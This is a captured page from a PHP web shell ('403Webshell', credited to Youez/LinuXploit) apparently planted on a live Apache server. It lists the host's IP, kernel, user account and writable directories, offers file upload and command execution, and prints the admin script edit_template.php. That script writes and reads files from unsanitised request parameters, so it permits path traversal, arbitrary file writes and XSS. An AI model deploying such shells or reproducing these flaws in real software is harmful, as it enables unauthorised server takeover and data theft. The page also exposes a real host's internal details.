403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/pom/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/pom/admin/edit_template.php
<?php
include_once("{$_SERVER["DOCUMENT_ROOT"]}/pom/admin/includes/UserAuthentication.php");

if ($_POST)
{
	$template = $_POST['template'];
	$text = stripcslashes(trim($_POST['text']));
	
	file_put_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/admin/templates/" . $template,$text);
	header("Location: /pom/admin/index.php");
	exit();
}
else
{
	$template = $_GET['template'];
	if ($template == "default.php")
	{
		die("Unable to edit default template");
	}
	$text = file_get_contents("{$_SERVER["DOCUMENT_ROOT"]}/pom/admin/templates/$template");
	
}

?>
<html>
	<head>
		<title>The Heinz Page-O-Matic</title>
		<!-- Combo-handled YUI CSS files: -->
		<link rel="stylesheet" type="text/css" href="http://yui.yahooapis.com/combo?2.7.0/build/fonts/fonts-min.css&2.7.0/build/tabview/assets/skins/sam/tabview.css&2.7.0/build/grids/grids-min.css&2.7.0/build/base/base-min.css&2.7.0/build/assets/skins/sam/skin.css&2.7.0/build/button/assets/skins/sam/button.css&2.7.0/build/container/assets/skins/sam/container.css">
		<!-- Combo-handled YUI JS files: -->
		<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.7.0/build/utilities/utilities.js&2.7.0/build/element/element-min.js&2.7.0/build/tabview/tabview-min.js&2.7.0/build/button/button-min.js&2.7.0/build/container/container-min.js&2.7.0/build/datasource/datasource-min.js&2.7.0/build/datatable/datatable-min.js&2.7.0/build/selector/selector-min.js&2.7.0/build/yahoo-dom-event/yahoo-dom-event.js&2.7.0/build/connection/connection-min.js&2.7.0/build/dragdrop/dragdrop-min.js"></script>
		<style>
			<!--
			body, table { font:11px Verdana,Arial,Helvetica,sans-serif }
			td.tdDark { background-color:#DCDCDC; }
			td.tdLight { background-color:#F6F6F6; }
			td.tdDark, td.tdLight { padding:3px; }
			.noBorder {border: solid 0px #fff;}
			-->
		</style>
		<script type="text/javascript" src="/pom/admin/js/pom.js"></script>
	</head>
	<body class="yui-skin-sam">
		<div id="editpage">
			<form action="<?php echo $PHP_SELF; ?>" method="POST" id="editform">
				<table border="1" cellpadding="2" cellspacing="0" align="center">
					<tr>
						<th colspan="2" align="center" style="background-color: #dcdcdc;">
							Edit <?php echo $template; ?>
						</th>
					</tr>
					<tr>
						<td align="left" valign="top" colspan="2" class="noBorder">
							<fieldset>
								<legend>Text</legend>							
								<table border="0" cellpadding="0" cellspacing="0" align="left">
									<tr>
										<td align="left" class="noBorder">
											<textarea name="text" id="edit_text" cols="80" rows="20"><?php echo $text; ?></textarea>
										</td>
									</tr>
								</table>
							</fieldset>
						</td>
					</tr>
					<tr>
						<td colspan="2" align="center" class="noBorder">
							<input type="button" value="Cancel" onclick="location.href = '/pom/admin/';" />
							<input type="submit" value="Update Template" />
						</td>
					</tr>
				</table>
				<input type="hidden" name="template" value="<?php echo $template; ?>" />
			</form>
		</div>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit